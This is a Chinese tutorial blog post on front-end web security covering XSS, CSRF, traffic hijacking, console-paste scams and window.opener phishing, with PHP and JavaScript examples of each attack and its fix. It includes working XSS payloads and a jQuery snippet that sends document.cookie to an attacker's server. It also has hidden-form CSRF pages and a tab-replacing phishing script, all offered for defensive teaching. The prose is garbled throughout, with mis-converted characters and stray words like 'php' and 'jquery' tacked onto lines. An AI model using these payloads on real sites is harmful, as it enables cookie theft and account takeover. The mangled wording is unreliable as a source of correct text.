[聊一聊系列]聊一聊WEB前端安全那些事儿

欢迎你们收看聊一聊系列,这一套系列文章,能够帮助前端工程师们了解前端的方方面面(不只仅是代码):
https://segmentfault.com/blog...javascript

随着互联网的发达,各类WEB应用也变得愈来愈复杂,知足了用户的各类需求,可是随之而来的就是各类网络安全的问题。做为前端工程师的咱们也逃不开这个问题。因此今天,就和你们一块儿聊一聊WEB前端的安全那些事儿。这里不去说那些后端的攻击(SQL注入、DDOS攻击等),毕竟整个WEB安全是一门很深的学问,不是我一篇文章就能彻底说完的。咱们就聊一聊前端工程师们须要注意的那些安全知识。php

为何要攻击?

其实真正为了玩的心态去进行黑网站的人,仍是少数。多数攻击仍是有利益的成分在里面的。我模糊的记得,之前听腾讯的工程师说过一句话,大概是这样的:开发者不可能确保本身的应用绝对没法被攻击,可是只要攻击咱们的时候,黑客花费的成本远比他能够获取的利益大得多,黑客就不会去攻击。防范强如支付宝、QQ等产品,也都曾被报过漏洞,看来防护不是绝对的,咱们只能想办法让咱们的应用更加安全。html

前端攻击都有哪些形式,我该如何防范?

1 XSS攻击

1.1 是什么?

百度百科中如是说道:
XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中。
其实在web前端方面,能够简单的理解为一种javascript代码注入。举个例子,咱们有个社交网站,容许你们相互访问空间,网站多是这样作的:前端

<?php
    $username="侯医生";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo $username;?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

运行时,展示形式如图1.1.1所示:java

clipboard.png
图1.1.1jquery

可是,若是你的用户名,起名称的时候,带上script标签呢?咱们知道,浏览器遇到html中的script标签的时候,会解析并执行标签中的js脚本代码,那么若是你的用户名称里面含有script标签的话,就能够执行其中的代码了。
代码以下,效果如图1.1.2web

<?php
    $username="<script>alert('侯医生');</script>";
?>

clipboard.png
图1.1.2
若是你将本身的用户名设定为这种执行脚本的方式,再让别人去访问你的链接的话,就能够达到在他人web环境中,执行本身脚本的效果了。咱们还可使用ajax,将其余用户在当前域名下的cookie获取并发送到本身的服务器上。这样就能够获取他人信息了。好比,刚刚我们使用的不是alert而是,以下的代码:ajax

$.ajax({
    url: '本身的服务器',
    dataType: 'jsonp',
    data: {'盗取的用户cookie': document.cookie}
});

再在各个QQ群中,散播本身的空间,引诱别人来访问。就能够拿到用户在这个域名下的cookie或者其余隐私了。算法

1.2 如何防范?

目前来说,最简单的办法防治办法,仍是将前端输出数据都进行转义最为稳妥。好比,按照刚刚咱们那个例子来讲,其本质是,浏览器遇到script标签的话,则会执行其中的脚本。可是若是咱们将script标签的进行转义,则浏览器便不会认为其是一个标签,可是显示的时候,仍是会按照正常的方式去显示,代码以下,效果如图1.2.1json

<?php
    $username="<script>alert('侯医生');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <!--咱们将输出的后端变量,转义以后再输出,则能够避免被注入代码-->
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

clipboard.png
图1.2.1
其实,咱们再来看看网页源码,如图1.2.2
clipboard.png
图1.2.2
虽然显示出来是有script标签的,可是实际上,script标签的左右尖括号(><),均被转义为html字符实体,因此,便不会被当作标签来解析的,可是实际显示的时候,这两个尖括号,仍是能够正常展现的。

1.3 升级攻击

1.3.1 append的利用

上一小节咱们防住了script标签的左右尖括号,蓝鹅,聪明的黑客们仍是想出了好办法去破解,咱们知道,直接给innerHTML赋值一段js,是没法被执行的。好比,

$('div').innerHTML = '<script>alert("okok");</script>';

可是,jquery的append能够作到,究其缘由,就是由于jquery会在将append元素变为fragment的时候,找到其中的script标签,再使用eval执行一遍。jquery的append使用的方式也是innerHTML(如图1.3.1.1)。而innerHTML是会将unicode码转换为字符实体的。
clipboard.png
图1.3.1.1
利用这两种知识结合,咱们能够得出,网站使用append进行dom操做,若是是append咱们能够决定的字段,那么咱们能够将左右尖括号,使用unicode码假装起来,就像这样--"\u003cscript\u003ealert('okok');"。接下来转义的时候,假装成\u003<会被漏掉,append的时候,则会被从新调用。代码以下,效果如图1.3.1.2

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权全部:<span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>

clipboard.png
图1.3.1.2
咱们能够看到,虽然进行了转义,注入的代码仍是会再次被执行。

1.3.2 img标签的再次利用

再来一种攻击方式,img标签的小贴士。
这里咱们须要重温一个小知识点-----img标签,在加载图片失败的时候,会调用该元素上的onerror事件。咱们正能够利用这种方式来进行攻击。咱们先来看一下,正常的用户分享图片的行为怎么作。代码以下,展现如图1.3.2.1

<?php
    $username="<script>alert('侯医生');</script>";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1,这个是图片:
            <img src="<?php echo $imgsrc;?>" />
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

clipboard.png
图1.3.2.1
可是,若是这张图片的地址咱们换种写法呢?

<?php
    $imgsrc="\" onerror=\"javascript:alert('侯医生');\"";
?>

咱们再来看看拼装好的html源码,如图1.3.2.2:
clipboard.png
图1.3.2.2
这时的源码已经变为--src为空,可是onerror的时候,执行注入代码。咱们刷新查看页面,就会发现,代码注入已经成功,如图1.3.2.3所示:
clipboard.png
图1.3.2.3
看官你可能会说了,再转义呗。是的,老套路,咱们接着进行转义---你这个毛病呀,就算治好了(老中医口吻)。

<img src="<?php echo htmlentities($imgsrc);?>" />

恩,总算是恢复正常了,如图1.3.2.4所示。
clipboard.png
图1.3.2.4

1.3.3 组合使用

可是......可是,道高一尺魔高一丈,虽然防住了img标签直接的输出,可是咱们的攻击点又来了,咱们将1.3.1中所说的方式与1.3.2中所说的方式进行结合,进行一种组合式攻击,咱们以前说过,innerHTML赋值的script标签,不会被执行,可是innerHTML赋值一个img标签是能够被识别的。咱们把img标签的左右尖括号,使用unicode进行假装,让转义方法认不出来,即便innerHTML也能够利用上了,代码以下,效果如图1.3.3.1

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权全部:<span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>

clipboard.png
图1.3.3.1
这样,innerHTML也能够派上用场,再次突破防线。

1.4 升级防护

看来,咱们须要再次进行防护升级了,咱们将输出的字符串中的\反斜杠进行转义(json转义)。这样,\就不会被当作unicode码的开头来被处理了。代码以下:

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

生成处的源码,如图1.4.1
clipboard.png
图1.4.1
效果如图1.4.2所示
clipboard.png
图1.4.2

1.5 XSS再升级

都说了道高一尺魔高一丈了,你觉得防得住后端输出,黑客大大们就没办法攻击了吗。咱们有的时候,会有一些习惯,拿URL上的get参数去构建网页。比如说,直接拿url上的用户名去展现啦,拿url上的一些回跳地址之类的。可是url上的参数,咱们是没法提早对其进行转义的。接下来,来个例子,代码以下:

<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权全部:<span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

上述代码,知足了一个很正常的需求,解开URL中的一个参数,并将其渲染至页面上。可是,这里面存在一个风险,若是黑客在URL的这个参数中,加入js代码,这样便又会被执行(如图1.5.1所示)。
clipboard.png
图1.5.1

1.6 防护再次升级

像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出,代码以下,效果如图1.6.1

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>

clipboard.png
图1.6.1
使用url中的参数的时候要当心,更不要拿URL中的参数去eval。

1.7 保护好你的cookie

若是不幸中招了,黑客的js真的在咱们的网页上执行了,咱们该怎么办。其实,不少时候,咱们的敏感信息都是存储在cookie中的(不要把用户机密信息放在网页中),想要阻止黑客经过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性,加上了这个属性的cookie字段,js是没法进行读写的。php的设置方法以下:

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

如图1.7.1,咱们的cookie已经种上了,而且有了httpOnly标识
clipboard.png
图1.7.1
如图1.7.2,咱们经过js没法获取cookie中的设定有httpOnly的字段:
clipboard.png
图1.7.2
话说回来,其实还有不少xss的升级攻击方式,同窗们有兴趣的话,能够本身去研究一下。(不要干坏事儿哦)

2 CSRF攻击

2.1 什么是CSRF攻击?

CSRF攻击在百度百科中的解释是:
CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。
其实就是网站中的一些提交行为,被黑客利用,你在访问黑客的网站的时候,进行的操做,会被操做到其余网站上(如:你所使用的网络银行的网站)。

2.2 如何攻击?

2.2.1 要合理使用post与get

一般咱们会为了省事儿,把一些应当提交的数据,作成get请求。却不知,这不只仅是违反了http的标准而已,也一样会被黑客所利用。
好比,你开发的网站中,有一个购买商品的操做。你是这么开发的:

<?php
// 从cookie中获取用户名,看似稳妥
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// 这里进行购买操做
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

而商品ID图个省事儿,就使用了url中的get参数。买商品的话,如图2.2.1.1所示
clipboard.png
图2.2.1.1
那么,黑客的网站能够这样开发:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
    </body>
</html>

这样的话,用户只须要访问一次黑客的网站,其实就至关于在你的网站中,操做了一次。然而用户却没有感知。如图2.2.1.2所示:
clipboard.png
图2.2.1.2
因此,咱们平常的开发,仍是要遵循提交业务,严格按照post请求去作的。更不要使用jsonp去作提交型的接口,这样很是的危险。

2.2.2 xsrf攻击升级

若是你使用了post请求来处理关键业务的,仍是有办法能够破解的。咱们的业务代码以下:

<?php
$username = $_COOKIE['username'];
// 换为post了,能够规避黑客直接的提交
$productId = $_POST['pid'];
// 这里进行购买操做
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

黑客代码以下:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <button id="clickme">点我看相册</button>
        <script>
            $('#clickme').on('click', function () {
                // 用户再不知情的状况下,提交了表单,服务器这边也会觉得是用户提交过来的。
                $('#myform').submit();
            });
        </script>
        <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
            <input type="hidden" name="pid" value="1">
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

效果如图2.2.2.1
clipboard.png
图2.2.2.1
点击后,用户进行了提交,却连本身都不知情。这种状况如何防护呢?
最简单的办法就是加验证码,这样除了用户,黑客的网站是获取不到用户本次session的验证码的。可是这样也会下降用户的提交体验,特别是有些常常性的操做,若是总让用户输入验证码,用户也会很是的烦。
另外一种方式,就是在用访问的页面中,都种下验证用的token,用户全部的提交都必须带上本次页面中生成的token,这种方式的本质和使用验证码没什么两样,可是这种方式,整个页面每一次的session,使用同一个token就行,不少post操做,开发者就能够自动带上当前页面的token。若是token校验不经过,则证实这次提交并不是从本站发送来,则终止提交过程。若是token确实为本网站生成的话,则能够经过。
代码以下,防护效果如图2.2.2.2

<?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// 校验算法例子
function check_token($token) {
    if ($token==='doctorhou-shuai') {
        return true;
    }
    return false;
}
if (!check_token($token)) {
    // 若是校验未经过,则停止
    return ;
}
// 这里进行购买操做
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

clipboard.png
图2.2.2.2
如上图,并无携带本站每次session生成的token,则提交失败。
本站的网站form,则都会自动携带本站生成的token

<?php function token_creater() {
    // 本站生成token的方法
    return 'doctorhou-shuai';
}?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php">
            商品名称:<input name="pid" value="1">
            <input type="hidden" name="token" value="<?php echo token_creater();?>" />
            <input type="submit" value="提交" />
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

再次使用本站的网页进行提交,则经过,如图2.2.2.3所示:
clipboard.png
图2.2.2.3
固然,上面的只是例子,具体的token生成,确定是要随着session与用户ID去变的,若是各位看官以为本身的网站也须要加个token,请自行百度,进行深刻的学习。

3 网络劫持攻击

不少的时候,咱们的网站不是直接就访问到咱们的服务器上的,中间会通过不少层代理,若是在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。好比,咱们的用户常常会在各类饭馆里面,连一些奇奇怪怪的wifi,若是这个wifi是黑客所创建的热点wifi,那么黑客就能够结果该用户收发的全部数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也没法解开。

若是你的网站尚未进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便没法获取加密内容的真实信息了。

4 控制台注入代码

不知道各位看官有没有注意到天猫官网控制台的警告信息,如图4.1所示,这是为何呢?由于有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码),好比能够在朋友圈贴个什么文章,说:"只要访问天猫,按下F12而且粘贴如下内容,则能够得到xx元礼品"之类的,那么有的用户真的会去操做,而且本身隐私被暴露了也不知道。
clipboard.png
图4.1
天猫这种作法,也是在警告用户不要这么作,看来天猫的前端安全作的也是很到位的。不过,这种攻击毕竟是少数,因此各位看官看一眼就行,若是真的发现有的用户会被这样攻击的话,记得想起天猫的这种解决方案。

5 钓鱼

钓鱼也是一种很是古老的攻击方式了,其实并不太算前端攻击。可毕竟是页面级别的攻击,咱们也来一块儿聊一聊。我相信不少人会有这样的经历,QQ群里面有人发什么兼职啦、什么本身要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的链接。打开以后发现一个QQ登陆框,其实一看域名就知道不是QQ,不过作得很是像QQ登陆,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登陆到QQ,用户名和密码却给人发过去了。
其实这种方式,在前端也有利用。下面,咱们就来试试若是利用前端进行一次逼真的钓鱼。
1 首先,咱们在xx空间里分享一篇文章,而后吸引别人去点击。效果如图5.1.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
        当前你在xx空间
        </div>
        <h1>侯博士的分享</h1>
        <section>
        我们班当年班花,如今长这样:
        <!--这是我们的钓鱼网站-->
        <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">点我查看</a>
        </section>
    </body>
</html>

clipboard.png
图5.1.1
2 接着,咱们在cheat.php这个网站上面,将跳转过来的源网页地址悄悄的进行修改。效果如图5.2.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        你想看的信息:
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        <script>
            // 在用户不知情的状况下,对跳转的来源网页进行地址替换
            window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
        </script>
    </body>
</html>

因而,在用户访问了咱们的欺骗网站后,以前的tab已经悄然发生了变化,咱们将其悄悄的替换为了钓鱼的网站,欺骗用户输入用户名、密码等。
clipboard.png
图5.2.1
3 咱们的钓鱼网站,假装成XX空间,让用户输入用户名与密码,如图5.3.1
clipboard.png
图5.3.1
这种钓鱼方式比较有意思,重点在于咱们比较难防住这种攻击,咱们并不能将全部的页面连接都使用js打开。因此,要么就将外链跳转的链接改成当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面全部的跳转均改成window.open,在打开时,跟大多数钓鱼防治异曲同工的一点是,咱们须要网民们的安全意识提升。

咱们平时开发要注意些什么?

  1. 开发时要提防用户产生的内容,要对用户输入的信息进行层层检测

  2. 要注意对用户的输出内容进行过滤(进行转义等)

  3. 重要的内容记得要加密传输(不管是利用https也好,本身加密也好)

  4. get请求与post请求,要严格遵照规范,不要混用,不要将一些危险的提交使用jsonp完成。

  5. 对于URL上携带的信息,要谨慎使用。

  6. 心中时刻记着,本身的网站哪里可能有危险。

毕竟web安全是个很大的面,若是须要了解,仍是须要进行专门的学习的。但愿这篇聊一聊,可让各位开发者的网站变得更安全。

课后做业

各位看官本身的网站中,是否是还留有不少安全漏洞呢?请各位看完本篇文章以后,回想一下,本身的网站是否还有哪些地方存在安全隐患。还有,本身能否为本身团队里面的同窗制定一下开发时的安全规范呢?

接下来的一篇文章,我将会和读者们一块儿聊聊web图片那些事儿,不要走开,请关注我.....

若是喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。

以上内容仅表明笔者我的观点,若有意见请通知笔者。

相关文章
相关标签/搜索